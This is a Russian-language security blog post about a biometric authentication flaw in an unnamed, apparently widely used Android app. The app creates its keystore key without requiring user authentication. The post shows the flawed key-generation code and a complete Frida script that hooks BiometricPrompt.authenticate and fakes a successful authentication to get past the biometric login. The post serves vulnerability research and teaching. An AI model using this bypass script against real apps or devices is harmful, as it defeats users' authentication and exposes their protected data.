Биометрическая недоаутентификация - (не)Уникальный опыт

Биометрическая недоаутентификация


Много уже написано и сказано про биометрическую аутентификацию в android приложениях. И это не прошло бесследно. Вижу много приложений где флоу аутентификации биометрия+пин-код сделан по всем канонам безопасности. Но дьявол кроется в деталях. И сегодня я покажу как всего один флаг способен умножить на 0 отлично выстроенную систему аутентификации. Речь пойдет об одном широко известном приложении 🤐

/img/biometric-underauthentication/logo.gif

Разведка

Если в реализации биометрической аутентификации не используется CryptoObject, то разговаривать дальше не имеет смысла. Такая аутентификация не нужна. Поэтому в первую очередь я пошел искать CryptoObject и инициализацию Cipher-а для него.

1
2
3
4
String iv = (String) obj;
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
cipher.init(2, getKey(), new IvParameterSpec(Base64.decode(iv)));
return new BiometricPrompt.CryptoObject(cipher);

Довольно типичный код, никаких потрясений. Даже padding отключен. Все по канонам информационной безопасности! Осталось понять как создается ключ шифрования.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
KeyGenerator keyGenerator = (KeyGenerator) this.c.get();
KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder("key", 3)
        .setBlockModes("CBC")
        .setUserAuthenticationRequired(false)
        .setEncryptionPaddings("NoPadding")
        .build();

KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
keyGenerator.init(keySpec);
keyGenerator.generateKey();
Key key = keyStore.getKey("key", null);
return key; 

Здесь тоже все прекрасно, ключ создается в AndroidKeyStore и не смотря на отсутствие StrongBox-a, реализация все еще достойная. Но флаг setUserAuthenticationRequired все портит.

When generating or importing a key into the AndroidKeyStore you can specify that the key is only authorized to be used if the user has been authenticated. The user is authenticated using a subset of their secure lock screen credentials (pattern/PIN/password, biometric credentials).
This is an advanced security feature which is generally useful only if your requirements are that a compromise of your application process after key generation/import (but not before or during) cannot bypass the requirement for the user to be authenticated to use the key. Подробнее

Далее по коду приложения были найдены операции шифрования с использованием этого ключа, а значит разработчик исходил из того, что эти операции станут возможны только после прохождения биометрической аутентификации. Но в данном случае эта система не работает из-за неправильно созданного ключа, что дает возможность обойти биометрическую аутентификацию и попасть в приложение. Также это дает возможность осуществлять операции дешифровки данных находясь уже в контексте приложения.

Эксплуатация

Для обхода биометрической аутентификации я буду использовать Frida и такой скрипт:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Java.perform(function () {
    let BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
    let CryptoObject = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
    let AuthenticationResult = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');

    let authenticate = BiometricPrompt['authenticate'].overload(
        'android.hardware.biometrics.BiometricPrompt$CryptoObject', 
        'android.os.CancellationSignal', 
        'java.util.concurrent.Executor', 
        'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'
    );

    authenticate.implementation = function(crypto, cancellationSignal, executor, callback) {
        let cryptoObjectInstance = null;

        Java.choose('javax.crypto.Cipher', {
            onMatch: function (instance) {
                cryptoObjectInstance = CryptoObject.$new(instance);
            },
            onComplete: function () { }
        });

        let authenticationResultInstance = AuthenticationResult.$new(
            cryptoObjectInstance,
            0
        );

        callback.onAuthenticationSucceeded(authenticationResultInstance);

        return  this.authenticate(crypto, cancellationSignal, executor, callback);
    }
});

Все, что он делает - перехватывает вызов метода authenticate() и говорит приложению, что аутентификация прошла успешно. Магия заключается в том, что в момент запуска приложения, ключ, который должен стать доступен после успешного предъявления биометрии - уже находится в памяти. А значит все, что нужно сделать - убрать надоедливый диалог. После чего приложение само расшифрует все данные и будет работать по обычному сценарию.

/img/biometric-underauthentication/elf.png

Ссылки


Смотрите также